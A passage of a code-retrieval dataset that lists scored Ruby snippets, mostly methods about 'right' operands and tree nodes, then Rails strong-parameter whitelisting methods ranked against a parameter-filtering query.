p2)\n DelaunayDebug.loglog { \"Is #{self} to the right of #{p1} -> #{p2}? cross: #{cross} -> #{cross < 0}\" }\n cross < 0\n end", "title": "" }, { "docid": "dd7e7b013262895502a339cf892243ca", "score": "0.55371165", "text": "def rightParen?(str)\n\t\tstr == ')'\n\tend", "title": "" }, { "docid": "9aaef23d2b99b711f883b8df5c837af6", "score": "0.5537105", "text": "def right?\n position.odd?\n end", "title": "" }, { "docid": "a5ff376f7c68292c48078680fa30663f", "score": "0.5516426", "text": "def rhs\n @rhs || (calc_types ; @rhs)\n end", "title": "" }, { "docid": "ffed59a558df7a4077022277c835f5af", "score": "0.5515554", "text": "def right\n return @right\n end", "title": "" }, { "docid": "5f02798088633ffc45763194d19f46f3", "score": "0.54791677", "text": "def either(_left, right)\n right.call(value)\n end", "title": "" }, { "docid": "45a1a225ccf196e4afbe6b12f5250ea9", "score": "0.5458323", "text": "def moving_right?\r\n return @x * 128 > @real_x\r\n end", "title": "" }, { "docid": "2fec7b86233510a96dded10ba6a50aa0", "score": "0.54570585", "text": "def right\n return false if @direction.nil?\n i = FACINGS.index(@direction)\n @direction = FACINGS.rotate()[i]\n true\n end", "title": "" }, { "docid": "a0886a1221b62dfc3547d623db51e192", "score": "0.545292", "text": "def operand?(str)\n\tx = false\n \tif !operator? str\n\t\tif !isLeftParen? str\n\t\t\tif !isRightParen? str\n\t\t\t\tunless str == \" \"\n\t\t\t\t\tx = true\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\tend\n return x\t\t\n end", "title": "" }, { "docid": "f585d7c5e3f1f4750ee562f4ef81a472", "score": "0.5436677", "text": "def absolute_right=(value)\n @absolute_right = value\n end", "title": "" }, { "docid": "14cb327340dfcbcfa4e2d70f5357e03f", "score": "0.5430708", "text": "def turn_right\n return false if table.nil?\n\n @direction = direction.right\n\n true\n end", "title": "" }, { "docid": "0abb746ca20089e9a03aebac5cf45317", "score": "0.5429317", "text": "def isRightParen?(str)\n str == \")\"\n end", "title": "" }, { "docid": "60ecddd0df067c59de02143320cc969c", "score": "0.5414249", "text": "def is_right_child?\n return false if is_root?\n self == parent.right_child\n end", "title": "" }, { "docid": "1e7bcc648c2f80ebfca65b0eb681c100", "score": "0.5406105", "text": "def rightParen?(str)\n\tstr == \")\"\n end", "title": "" }, { "docid": "1c890369846f863b2e21d96941b49a67", "score": "0.5375151", "text": "def getRight()\n return @right\n end", "title": "" }, { "docid": "102f95863c43b28bc707b047ec54ad59", "score": "0.5371198", "text": "def can?(right)\n (full_rights_code & encode([right])).positive?\n end", "title": "" }, { "docid": "1f52b0baf17a96cb46037406a1183e13", "score": "0.535786", "text": "def right_value\n self[2] if :assign == sexp_type\n end", "title": "" }, { "docid": "0d966915ff329af244d297ad9820869a", "score": "0.535646", "text": "def process_or(exp)\n rhs = process exp.shift\n lhs = process exp.shift\n\n rhs_type = rhs.c_type\n lhs_type = lhs.c_type\n\n rhs_type.unify lhs_type\n rhs_type.unify CType.bool\n\n return t(:or, rhs, lhs, CType.bool)\n end", "title": "" }, { "docid": "7bf7fa3559bb55b2f9d0451babc57111", "score": "0.5338706", "text": "def literal?\n @value.is_a?(String) || @value.is_a?(Integer)\n end", "title": "" }, { "docid": "58344a9bfd72592b2dfdcdaec491f328", "score": "0.53355974", "text": "def <=( right )\n raise \"not implemented for #{right.class}:#{right}\" unless right.is_a?( RValue )\n ins = Risc.byte_to_reg(\"#{right.register.type}[#{right.index}] -> #{self.type}\" , right.register , right.index , self)\n builder.add_code(ins) if builder\n return ins\n end", "title": "" }, { "docid": "48e1a688db0b565b1794630e9daf4b02", "score": "0.53289807", "text": "def evaluate\n lambda do |expr|\n case expr[0]\n when \"string\", \"num\"\n return expr[1]\n when \"name\", \"atom\"\n case expr[1]\n when \"true\"\n return true\n when \"false\"\n return false\n end\n when \"unary-prefix\"\n case expr[1]\n when \"!\"\n result = evaluate.call(expr[2])\n return !(result==true || result!=0)\n when \"typeof\"\n return typeof evaluate.call(expr[2])\n when \"~\"\n return ~evaluate.call(expr[2])\n when \"-\"\n return -evaluate.call(expr[2])\n when \"+\"\n return +evaluate.call(expr[2])\n end\n when \"binary\"\n left = expr[2]\n right = expr[3]\n case expr[1]\n when \"&&\"\n return evaluate.call(left) && evaluate.call(right)\n when \"||\"\n return evaluate.call(left) || evaluate.call(right)\n when \"|\"\n return evaluate.call(left) | evaluate.call(right)\n when \"&\"\n return evaluate.call(left) & evaluate.call(right)\n when \"^\"\n return evaluate.call(left) ^ evaluate.call(right)\n when \"+\"\n return evaluate.call(left) + evaluate.call(right)\n when \"*\"\n return evaluate.call(left) * evaluate.call(right)\n when \"/\"\n return evaluate.call(left) / evaluate.call(right)\n when \"-\"\n return evaluate.call(left) - evaluate.call(right)\n when \"<<\"\n return evaluate.call(left) << evaluate.call(right)\n when \">>\"\n return evaluate.call(left) >> evaluate.call(right)\n when \">>>\"\n #kpk\n warn \"Zero-fill right shift operator (>>>) not available.\"\n return evaluate.call(left) >> evaluate.call(right)\n when \"==\"\n return evaluate.call(left) == evaluate.call(right)\n when \"===\"\n return evaluate.call(left) === evaluate.call(right)\n when \"!=\"\n return evaluate.call(left) != evaluate.call(right)\n when \"!==\"\n return evaluate.call(left) != evaluate.call(right)\n when \"<\"\n return evaluate.call(left) < evaluate.call(right)\n when \"<=\"\n return evaluate.call(left) <= evaluate.call(right)\n when \">\"\n return evaluate.call(left) > evaluate.call(right)\n when \">=\"\n return evaluate.call(left) >= evaluate.call(right)\n when \"in\"\n return evaluate.call(right).include? evaluate.call(left)\n end\n end\n raise 'NOT_CONSTANT'\n end\n end", "title": "" }, { "docid": "7312505576ec8963365e6b86da4e5d0b", "score": "0.53233165", "text": "def show_right!\n right(true)\n end", "title": "" }, { "docid": "7312505576ec8963365e6b86da4e5d0b", "score": "0.53233165", "text": "def show_right!\n right(true)\n end", "title": "" }, { "docid": "45c2628f5ee0c7592e7c9252c9a63b4f", "score": "0.5318683", "text": "def right\n self[right_field_name]\n end", "title": "" }, { "docid": "220ee3176fb253714d62752be92a03ae", "score": "0.531826", "text": "def evaluate(defines)\n @expression == \"0\" ? false : true\n end", "title": "" }, { "docid": "69b5f528334416f6ecb13e4c096baf00", "score": "0.5304646", "text": "def has_right?(r)\n\tself.roles.detect {|role| role.rights.detect {|right| right.name == \n\t r }} || self.superuser\n end", "title": "" }, { "docid": "46e3dc2090df03e449bfef8b19ab57d4", "score": "0.529924", "text": "def right_receiver?(receiver_node); end", "title": "" }, { "docid": "3a76c9f814bb72fb1ebd92a44db43680", "score": "0.5299179", "text": "def setRight(right)\n @right = right\n end", "title": "" }, { "docid": "affe3d4a181efad7aa6b4cbbda3ee03f", "score": "0.5287473", "text": "def right_or_wrong\n if self.truthiness == true\n puts \"Correct! But that was an easy question.\"\n return true\n else\n Images.wrong\n return false\n end\n end", "title": "" }, { "docid": "9f717cc78a2fe2d239785847381aaba3", "score": "0.528417", "text": "def right?(ans, player_ans)\n ans == player_ans\nend", "title": "" }, { "docid": "a71e4bb30a969ae40bb320bf553c5398", "score": "0.52784747", "text": "def constant_value?\n util = Util\n util.constant?(left.right) && util.constant?(right.right)\n end", "title": "" }, { "docid": "aaa7fe00c877ea0e670e6e820b299492", "score": "0.52696913", "text": "def isRightParen?(str)\n if(str == ')')\n\treturn true\n else\n\treturn false\n end\n end", "title": "" }, { "docid": "05deb0bf9ae82f2c1c990890afcf0591", "score": "0.52552384", "text": "def right\n @key_up.right || @key_held.right || d\n end", "title": "" }, { "docid": "f4e70283c4f129a16fb579a71f33c73e", "score": "0.5250124", "text": "def operand?(str)\n \tstr.to_i.to_s == str\n end", "title": "" }, { "docid": "3f6058d5efa652b57cc8adbaf7f4a0a0", "score": "0.52494043", "text": "def right\n return unless placed?\n turn(:right)\n puts 'It turns right'\n end", "title": "" }, { "docid": "58ce3f695a6f1ccf32743433413e8cbe", "score": "0.52267796", "text": "def right?(sprite)\n sprite.x >= @x + @width\n end", "title": "" }, { "docid": "029a19853c4322190c397f861fa29e3f", "score": "0.5226639", "text": "def result? exp\n exp.is_a? Sexp and exp.node_type == :result\n end", "title": "" }, { "docid": "717c42c866eaf0ed81af25479c3d4c22", "score": "0.5219777", "text": "def verify_left_right(left, right)\n return true if left.nil? or right.nil?\n return (left <= right) ? true : false\n end", "title": "" }, { "docid": "8f884142c5b6ee60440091df3becd1ca", "score": "0.52172494", "text": "def safe_rightmost\n if context.right_nodes == [] then\n Right.new(self)\n else\n all_but_rightmost = context.right_nodes[0..-2]\n Right.new(new_zipper(context.right_nodes.last,\n Context.new(context.path,\n context.parent_nodes,\n context.left_nodes + [value] + all_but_rightmost,\n [],\n context.changed?)))\n end\n end", "title": "" }, { "docid": "fd5ec3728d0f5396a6d443147075079b", "score": "0.52039266", "text": "def has_right?(right)\n # Super-user has all the rights\n return true if is_super_user\n\n # Check for particular rights\n @access_rights ||= self.access_rights.collect(&:identifier)\n return true if @access_rights.include?(right.to_s)\n\n # Check for rights in roles\n @rights_from_roles ||= (self.access_roles.collect do |role|\n role.access_rights.collect(&:identifier)\n end).flatten\n return true if @rights_from_roles.include?(right.to_s)\n\n return false\n end", "title": "" }, { "docid": "7deb5ac909fd1cf0b23d3a5d85104d22", "score": "0.520153", "text": "def optimize_right\n right = operation.right\n\n if right.respond_to?(:to_inclusive)\n optimize_right_range\n elsif right.respond_to?(:select)\n optimize_right_enumerable\n else\n right\n end\n end", "title": "" }, { "docid": "7cc176585013d5635db82ddc128ad36a", "score": "0.5200585", "text": "def same_value? lhs, rhs\n if lhs == rhs\n true\n elsif node_type? lhs, :or\n lhs.rhs == rhs or lhs.lhs == rhs\n else\n false\n end\n end", "title": "" }, { "docid": "7164b0608ba979c9ec9a32acd5088f61", "score": "0.51953036", "text": "def right(c)\n area2(c) < 0\n end", "title": "" }, { "docid": "2b5776295044c88302fc214ef39d39cf", "score": "0.51931274", "text": "def always()\n @@truthExpression\n end", "title": "" }, { "docid": "f0fbf37921fa2a25fa0de5b3f431a633", "score": "0.5185837", "text": "def right=(obj)\n @right = obj\n end", "title": "" } ]
e561e11bcf379ef5dc139c210017366b
Only allow a list of trusted parameters through.
[ { "docid": "aacd1016b799e12d272b4164ec4e8232", "score": "0.0", "text": "def region_params\n params.require(:region).permit(:title, :country_details, :tax_details, :currency_details)\n end", "title": "" } ]
[ { "docid": "3663f9efd3f3bbf73f4830949ab0522b", "score": "0.74768823", "text": "def whitelisted_params\n super\n end", "title": "" }, { "docid": "36956168ba2889cff7bf17d9f1db41b8", "score": "0.71700543", "text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end", "title": "" }, { "docid": "aa06a193f057b6be7c0713a5bd30d5fb", "score": "0.7044907", "text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end", "title": "" }, { "docid": "55ec6c1cf1b67ffe1cee0d4fec651d18", "score": "0.7009515", "text": "def allowed_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n\n params.each do |key, value|\n next if @list_of_allowed_params.index(key.to_s).present?\n\n fail! \"Parameter :#{key} is not allowed\", key.to_sym\n end\n end", "title": "" }, { "docid": "505e334c1850c398069b6fb3948ce481", "score": "0.69897616", "text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end", "title": "" }, { "docid": "bfb292096090145a067e31d8fef10853", "score": "0.6773957", "text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end", "title": "" }, { "docid": "236e1766ee20eef4883ed724b83e4176", "score": "0.6758029", "text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "title": "" }, { "docid": "53d67b9c2ed1e0132c46653273fc708d", "score": "0.67139274", "text": "def whitelisted_args\n args.select(&:allowed)\n end", "title": "" }, { "docid": "603f4a45e5efa778afca5372ae8a96dc", "score": "0.6638781", "text": "def param_whitelist\n [:role]\n end", "title": "" }, { "docid": "caf5e21ffb495f1a2566ca6a564a6fdb", "score": "0.6633307", "text": "def allowed_arguments(arguments); end", "title": "" }, { "docid": "3d346c1d1b79565bee6df41a22a6f28d", "score": "0.6630876", "text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end", "title": "" }, { "docid": "c31ef48e8fd467d94158d7ac7f405a3f", "score": "0.65786487", "text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end", "title": "" }, { "docid": "b29cf4bc4a27d4b199de5b6034f9f8a0", "score": "0.6551157", "text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "585f461bf01ed1ef8d34fd5295a96dca", "score": "0.6529035", "text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "cac0774e508766d2f487cbca3db95df0", "score": "0.650781", "text": "def allow_params?\n definition[:param_tokens]\n end", "title": "" }, { "docid": "58d1451e57b0e767db2fc6721dfaa6be", "score": "0.64761394", "text": "def allowed_parameters\n parameters.keys\n end", "title": "" }, { "docid": "37d1c971f6495de3cdd63a3ef049674e", "score": "0.64282405", "text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "c436017f4e8bd819f3d933587dfa070a", "score": "0.63983387", "text": "def filtered_parameters; end", "title": "" }, { "docid": "c72da3a0192ce226285be9c2a583d24a", "score": "0.63592577", "text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end", "title": "" }, { "docid": "7646659415933bf751273d76b1d11b40", "score": "0.6339914", "text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end", "title": "" }, { "docid": "2c8e2be272a55477bfc4c0dfc6baa7a7", "score": "0.6327032", "text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "b453d9a67af21a3c28a62e1848094a41", "score": "0.63192505", "text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end", "title": "" }, { "docid": "706df0e25391ed2b932f54a646bb0a10", "score": "0.6280703", "text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end", "title": "" }, { "docid": "839591b72f27e154e4840464f1f4684d", "score": "0.6278046", "text": "def whitelist=(lst)\n uri.querystring_params[\"whitelist\"] = lst.split(\",\").map(&:strip).reject{|e|e.blank?}\n end", "title": "" }, { "docid": "13a61145b00345517e33319a34f7d385", "score": "0.62771213", "text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end", "title": "" }, { "docid": "e64490ed35123aafa1b4627bd165517d", "score": "0.62693745", "text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end", "title": "" }, { "docid": "094cae2a77f3def05726eb7961449324", "score": "0.62682945", "text": "def allowed; end", "title": "" }, { "docid": "cc60076a498957ddcd05472aa576a2b1", "score": "0.62651163", "text": "def param_whitelist\n case action_name\n when 'create'\n [:type, :author_id, :participant_ids]\n else\n [:participant_ids]\n end\n end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "fc43ee8cb2466a60d4a69a04461c601a", "score": "0.62642586", "text": "def check_params; true; end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.6229388", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "91bfe6d464d263aa01e776f24583d1d9", "score": "0.6213818", "text": "def permitir_parametros\n params.permit!\n end", "title": "" }, { "docid": "21e97a45d3f9fc907204c8dfd146be09", "score": "0.62028986", "text": "def required_params(*list)\n list.flatten!\n @list_of_allowed_params ||= []\n @list_of_allowed_params += list.map(&:to_s)\n list.map(&:to_s).each do |param|\n next if params[param].present?\n\n fail! \"Parameter :#{param} should be present\", param\n end\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.61983657", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "e012d7306b402a37012f98bfd4ffdb10", "score": "0.61918944", "text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end", "title": "" }, { "docid": "9ac9542f33069f9d46e4393194623b4c", "score": "0.61912215", "text": "def snippets_list_params\n params.require(:snippets_list).permit(:is_public, :tags)\n end", "title": "" }, { "docid": "69d3720ae33b0a9e88f3a951595e767f", "score": "0.6184765", "text": "def sanitize_parameters!(sanitizer, params)\n endian = params[:endian] || self.endian\n fields = params[:fields] || self.fields\n hide = params[:hide] || self.hide\n\n params[:endian] = endian unless endian.nil?\n params[:fields] = fields\n params[:hide] = hide\n\n # add default parameters\n default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n super(sanitizer, params)\n end", "title": "" }, { "docid": "a322581bdbf994c8ac99b2f8da40b18f", "score": "0.61772996", "text": "def user_params\n params.require(:user).permit(:first_name,:last_name,:email).tap do |whitelisted|\n p params[:user][:role_ids].reject { |c| c.empty? }\n whitelisted[:role_ids] = params[:user][:role_ids].reject { |c| c.empty? }\n end\nend", "title": "" }, { "docid": "9e289c8e3757ad76ffbd2a6991acef28", "score": "0.61578906", "text": "def allowed_params\n %i[\n user_defined_id_statelocal\n user_defined_id_cdc\n user_defined_id_nndss\n first_name\n middle_name\n last_name\n date_of_birth\n age\n sex\n white\n black_or_african_american\n american_indian_or_alaska_native\n asian\n native_hawaiian_or_other_pacific_islander\n ethnicity\n primary_language\n secondary_language\n interpretation_required\n nationality\n address_line_1\n foreign_address_line_1\n address_city\n address_state\n address_line_2\n address_zip\n address_county\n monitored_address_line_1\n monitored_address_city\n monitored_address_state\n monitored_address_line_2\n monitored_address_zip\n monitored_address_county\n foreign_address_city\n foreign_address_country\n foreign_address_line_2\n foreign_address_zip\n foreign_address_line_3\n foreign_address_state\n foreign_monitored_address_line_1\n foreign_monitored_address_city\n foreign_monitored_address_state\n foreign_monitored_address_line_2\n foreign_monitored_address_zip\n foreign_monitored_address_county\n primary_telephone\n primary_telephone_type\n secondary_telephone\n secondary_telephone_type\n email\n preferred_contact_method\n preferred_contact_time\n port_of_origin\n source_of_report\n source_of_report_specify\n flight_or_vessel_number\n flight_or_vessel_carrier\n port_of_entry_into_usa\n travel_related_notes\n additional_planned_travel_type\n additional_planned_travel_destination\n additional_planned_travel_destination_state\n additional_planned_travel_destination_country\n additional_planned_travel_port_of_departure\n date_of_departure\n date_of_arrival\n additional_planned_travel_start_date\n additional_planned_travel_end_date\n additional_planned_travel_related_notes\n last_date_of_exposure\n potential_exposure_location\n potential_exposure_country\n contact_of_known_case\n contact_of_known_case_id\n travel_to_affected_country_or_area\n was_in_health_care_facility_with_known_cases\n was_in_health_care_facility_with_known_cases_facility_name\n laboratory_personnel\n laboratory_personnel_facility_name\n healthcare_personnel\n healthcare_personnel_facility_name\n exposure_notes\n crew_on_passenger_or_cargo_flight\n monitoring_plan\n exposure_risk_assessment\n member_of_a_common_exposure_cohort\n member_of_a_common_exposure_cohort_type\n isolation\n jurisdiction_id\n assigned_user\n symptom_onset\n case_status\n ]\n end", "title": "" }, { "docid": "4f7be6ec5bf491c0125e1c2091de0a80", "score": "0.61395127", "text": "def place_allow_list_params\n params.permit(:place_id, :group_category_id, :enable)\n end", "title": "" }, { "docid": "3512da8c3cbc10950f1c278d883a22d0", "score": "0.6128934", "text": "def check_permit!\n tracker.find_call(:method => :permit!).each do |result|\n if params? result[:call].target and not result[:chain].include? :slice\n warn_on_permit! result\n end\n end\n end", "title": "" }, { "docid": "3ae7a4551c9ded91965010fecb51d76b", "score": "0.6116012", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil) # rubocop:disable Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n allow += require_any_of\n end\n\n allow += %i(client_args stub_data aws_region aws_endpoint aws_retry_limit aws_retry_backoff resource_data)\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer)\n return true if [TrueClass, FalseClass].include?(a.class)\n !a.empty?\n end\n true\n end", "title": "" }, { "docid": "356c5fd5dcbe9214f1330792fa2e18b5", "score": "0.61158365", "text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "f19218511bb46b261576fd4a0359ddd0", "score": "0.6112491", "text": "def public_list_params\n params.require(:public_list).permit(:name, :description, places_attributes: [])\n end", "title": "" }, { "docid": "76ec9935ef327d0b5d1af534978cb4f8", "score": "0.6111488", "text": "def voter_list_params\n params.require(:voter_list).permit(:user_id, :selection_process_id, :estado, :search, :admission)\n end", "title": "" }, { "docid": "96a4c3e9d28624613a41897ea478af4c", "score": "0.6111325", "text": "def list_params\n params.require(:list).permit(:name, :description, :user_id)\n end", "title": "" }, { "docid": "b275e68d657aac7565b7da55922cbcae", "score": "0.6102179", "text": "def should_filter_params(*keys)\n ::ActiveSupport::Deprecation.warn(\"use: should filter_param\")\n keys.each do |key|\n should filter_param(key)\n end\n end", "title": "" }, { "docid": "5775dd2574b8acbba92a6a825c2a30b7", "score": "0.6079451", "text": "def allow_scopes(*args)\n @target.filterable_scopes = args\n end", "title": "" }, { "docid": "7e3b725e746658a932308b2245800100", "score": "0.6065513", "text": "def list_params\n params.require(:list).permit(:user_id)\n end", "title": "" }, { "docid": "b436ac15f83c93ec97a7852cc3cd560d", "score": "0.6064122", "text": "def list_params\n params.require(:list).permit(\n :name, :user_id, :location_ids => []\n )\n end", "title": "" }, { "docid": "f5b444bcf4dbe089582ac3c3cf81ca92", "score": "0.60615236", "text": "def price_list_params\n params.fetch(:price_list, {}).permit(PriceList::PERMITED_PARAMS)\n end", "title": "" }, { "docid": "d5df8448adfa675e6d25aeb23d7a5e34", "score": "0.6058738", "text": "def sanitize_query_fields\n allowed_fields = @list.property_index_keys\n return request.query_parameters.select {|key, val| allowed_fields.include?(key)}\n end", "title": "" }, { "docid": "61d793e7f8b92dfddfe9ee932db6bae5", "score": "0.60527927", "text": "def my_list_params\n params.require(:my_list).permit(:user_id, :query)\n end", "title": "" }, { "docid": "3da9117a80cdfd040f0f0ed9d3ffed55", "score": "0.60501283", "text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end", "title": "" }, { "docid": "b63e6e97815a8745ab85cd8f7dd5b4fb", "score": "0.6045103", "text": "def excluded_from_filter_parameters; end", "title": "" }, { "docid": "84bd386d5b2a0d586dca327046a81a63", "score": "0.6032686", "text": "def good_params\n permit_params\n end", "title": "" }, { "docid": "25220437209ae6056988e50c38a01211", "score": "0.6025226", "text": "def trust_params\n trusts = params.select { |k, _v| k.starts_with?(\"vault_entry_\") }\n permitted_params = {}\n trusts.keys.each do |trust|\n permitted_params[trust] = [:id, :name, :notes, :document_id, agent_ids: [], trustee_ids: [], successor_trustee_ids: [], share_ids: [],\n share_with_contact_ids: []]\n end\n trusts.permit(permitted_params)\n end", "title": "" }, { "docid": "08a3b9a8de9dd7334ffe66919731cb94", "score": "0.60225105", "text": "def permit_params!(params)\n if @allow_all_params\n params.permit!\n elsif @allowed_params\n @allowed_params.each do |resource, attributes|\n if params[resource].respond_to? :permit\n params[resource] = params[resource].permit(*attributes)\n end\n end\n end\n end", "title": "" }, { "docid": "4aa2ef6967e8f3024acea2b3d1cfd9e5", "score": "0.6019055", "text": "def allow_list_all?\n false\n end", "title": "" }, { "docid": "45791845cef485d15b7014088dd0be8d", "score": "0.60152686", "text": "def allowed_params\n %i[title body]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "cb7fc4ad3e08a4341c6395a2c154c575", "score": "0.6009825", "text": "def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_party\n attribute_list = Lbtt::Party.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end", "title": "" }, { "docid": "bd826c318f811361676f5282a9256071", "score": "0.6003619", "text": "def filter_parameters; end", "title": "" }, { "docid": "0c9d4c365c1621bdf0a6b700bd6e3bef", "score": "0.59931374", "text": "def cleanedParams(params)\n params.select {|k, v| ALLOWED_PARAMS.include? k}\n end", "title": "" }, { "docid": "71f97bda880101aa36b21017c0787f98", "score": "0.5989032", "text": "def validate_params\n invalid_parameter = @params.find { |key, value| !ConsolidatedScreeningList::PARAMETERS.key?(key) }\n raise ArgumentError, \"Invalid parameter: #{@params}\" if invalid_parameter\n end", "title": "" }, { "docid": "67fe19aa3f1169678aa999df9f0f7e95", "score": "0.5984926", "text": "def list_params\n params.permit(:name)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.59798354", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "f023b3871638291b75273a71bc75459c", "score": "0.59747314", "text": "def page_list_params\n params.permit(:url_list)\n params[:page_list].permit!\n end", "title": "" }, { "docid": "d78d0776c63005d7f56f3a21b5e4c50a", "score": "0.59729695", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :list_id)\n end", "title": "" }, { "docid": "4cf4346dd54b99fe0a7782ceaf7c26be", "score": "0.5971315", "text": "def quotation_list_params\n params.require(:quotation_list).permit!\n end", "title": "" }, { "docid": "38ed4234ecadfc5889a7c25028dc9a58", "score": "0.5965672", "text": "def sanitize(params = {})\n blacklist = options.fetch(:blacklist, []).map(&:to_s)\n redacted_string = options.fetch(:redacted_string, 'REDACTED')\n params.each do |param, _value|\n 